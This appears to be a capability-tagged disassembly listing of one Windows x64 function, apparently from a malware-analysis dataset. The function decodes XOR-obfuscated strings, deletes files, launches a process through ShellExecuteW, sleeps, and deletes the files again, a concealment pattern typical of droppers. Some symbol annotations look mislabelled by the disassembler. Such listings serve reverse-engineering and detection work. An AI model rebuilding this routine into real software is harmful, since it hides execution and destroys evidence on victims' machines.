Function at 0x140039c70
Capabilities:
Create process on windows
Delete file
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x100
movaps xmmword [rax - 0x18], xmm7
mov rax, qword [0x14014e080]
xor rax, rsp
mov qword [rbp + 0x3f], rax
movups xmm3, xmmword [0x14013c4a0]
movups xmmword [rbp - 0x61], xmm3
movsd xmm0, qword [0x14013c4b0]
movsd qword [rbp - 0x51], xmm0
mov eax, dword [0x14013c4b8]
mov dword [rbp - 0x49], eax
xor esi, esi
mov edi, dword [reloc.WS2_32.dll_accept]
cmp word [0x14013c4ba], si
je 0x140039e04
mov r8d, esi
cmp edi, 2
jl 0x140039dbe
movdqa xmm4, xmmword [0x14013d030]
movdqa xmm2, xmmword [0x14013cf70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14013cf90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x14013cfa0]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp - 0x61], xmm2
movdqa xmm3, xmmword [0x14013cf80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14013cf90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x14013cfa0]
movq xmm0, qword [rbp - 0x59]
xorps xmm2, xmm0
movq qword [rbp - 0x59], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x61]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x35
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xe
jl 0x140039dd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
mov qword [rbp + 0x2f], rsi
mov qword [rbp + 0x37], rsi
lea rax, [rbp - 0x61]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp word [rax + r8*2], si
jne 0x140039e21
lea rdx, [rbp - 0x61]
lea rcx, [rbp + 0x1f]
call fcn.1400594c0
lea rdx, [rbp + 0x1f]
lea rcx, [rbp - 1]
call fcn.140039810
nop
movups xmm7, xmmword [str.fZ_QNHdp]
movups xmmword [rbp - 0x61], xmm7
movsd xmm0, qword [0x14013c540]
movsd qword [rbp - 0x51], xmm0
mov eax, dword [0x14013c548]
mov dword [rbp - 0x49], eax
cmp word [0x14013c54a], 0
je 0x140039fa1
mov ecx, esi
cmp edi, 2
jl 0x140039f66
movdqa xmm4, xmmword [0x14013d030]
movdqa xmm2, xmmword [0x14013cf70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14013cf90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, qword [0x14013cfa0]
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp - 0x61], xmm3
movdqa xmm2, xmmword [0x14013cf80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14013cf90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, qword [0x14013cfa0]
paddw xmm3, xmm2
movq xmm0, qword [rbp - 0x59]
xorps xmm3, xmm0
movq qword [rbp - 0x59], xmm3
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp - 0x61]
lea r8, [r8 + rax*2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x32
movzx eax, cx
sub ax, dx
add ax, 0x35
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0xe
jl 0x140039f71
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
mov qword [rbp - 0x31], rsi
mov qword [rbp - 0x29], rsi
lea rax, [rbp - 0x61]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140039fb4
mov r8, rbx
lea rdx, [rbp - 0x61]
lea rcx, [rbp - 0x41]
call fcn.1400594c0
lea rdx, [rbp - 0x41]
lea rcx, [rbp - 0x21]
call fcn.140039810
nop
lea rdx, [rbp - 1]
lea rcx, [rbp + 0x1f]
call fcn.140056a50
nop
lea rcx, [rbp - 1]
cmp qword [rbp + 0x17], 7
cmova rcx, qword [rbp - 1]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x21]
cmp qword [rbp - 9], 7
cmova rcx, qword [rbp - 0x21]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp - 1]
lea rcx, [rbp - 0x41]
call fcn.140056a50
mov rcx, rax
call fcn.140039ae0
lea rdx, [rbp - 0x21]
lea rcx, [rbp - 0x41]
call fcn.140056a50
mov rcx, rax
call fcn.140039950
lea rax, [rbp - 0x41]
mov qword [rbp - 0x69], rax
lea rdx, [rbp + 0x1f]
lea rcx, [rbp - 0x41]
call fcn.140056a50
mov rdi, rax
lea rdx, [rbp - 0x21]
lea rcx, [rbp - 0x61]
call fcn.140056a50
mov rbx, rax
mov r9, rdi
cmp qword [rdi + 0x18], 7
jbe 0x14003a071
mov r9, qword [rdi]
mov r8, rbx
cmp qword [rax + 0x18], 7
jbe 0x14003a07e
mov r8, qword [rax]
movsd xmm0, qword [0x14013be58]
movsd qword [rbp - 0x79], xmm0
mov eax, dword [0x14013be60]
mov dword [rbp - 0x71], eax
cmp word [0x14013be62], 0
je 0x14003a0c0
mov eax, WSAStartup
mov word [rbp - 0x79], ax
xor word [rbp - 0x77], 0x36
xor word [rbp - 0x75], 0x37
xor word [rbp - 0x73], 0x38
xor word [rbp - 0x71], 0x39
xor word [rbp - 0x6f], 0x3a
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
lea rdx, [rbp - 0x79]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbx + 0x18]
cmp rdx, 7
jbe 0x14003a114
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14003a10f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14003a1e3
mov rcx, r8
call fcn.1400bdd44
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 7
mov word [rbx], si
mov rdx, qword [rdi + 0x18]
cmp rdx, 7
jbe 0x14003a162
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14003a15d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14003a1e3
mov rcx, r8
call fcn.1400bdd44
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], 7
mov word [rdi], si
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 1]
cmp qword [rbp + 0x17], 7
cmova rcx, qword [rbp - 1]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x21]
cmp qword [rbp - 9], 7
cmova rcx, qword [rbp - 0x21]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov rdx, qword [rbp + 0x37]
cmp rdx, 7
jbe 0x14003a1f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a1ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003a1ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400bdd44
nop
mov rdx, qword [rbp - 9]
cmp rdx, 7
jbe 0x14003a233
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a22e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003a22e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bdd44
movdqa xmm0, xmmword [0x14013cf10]
movdqu xmmword [rbp - 0x11], xmm0
mov word [rbp - 0x21], si
mov rdx, qword [rbp + 0x17]
cmp rdx, 7
jbe 0x14003a287
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a282
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003a282
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bdd44
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.1400bd930
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm7, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret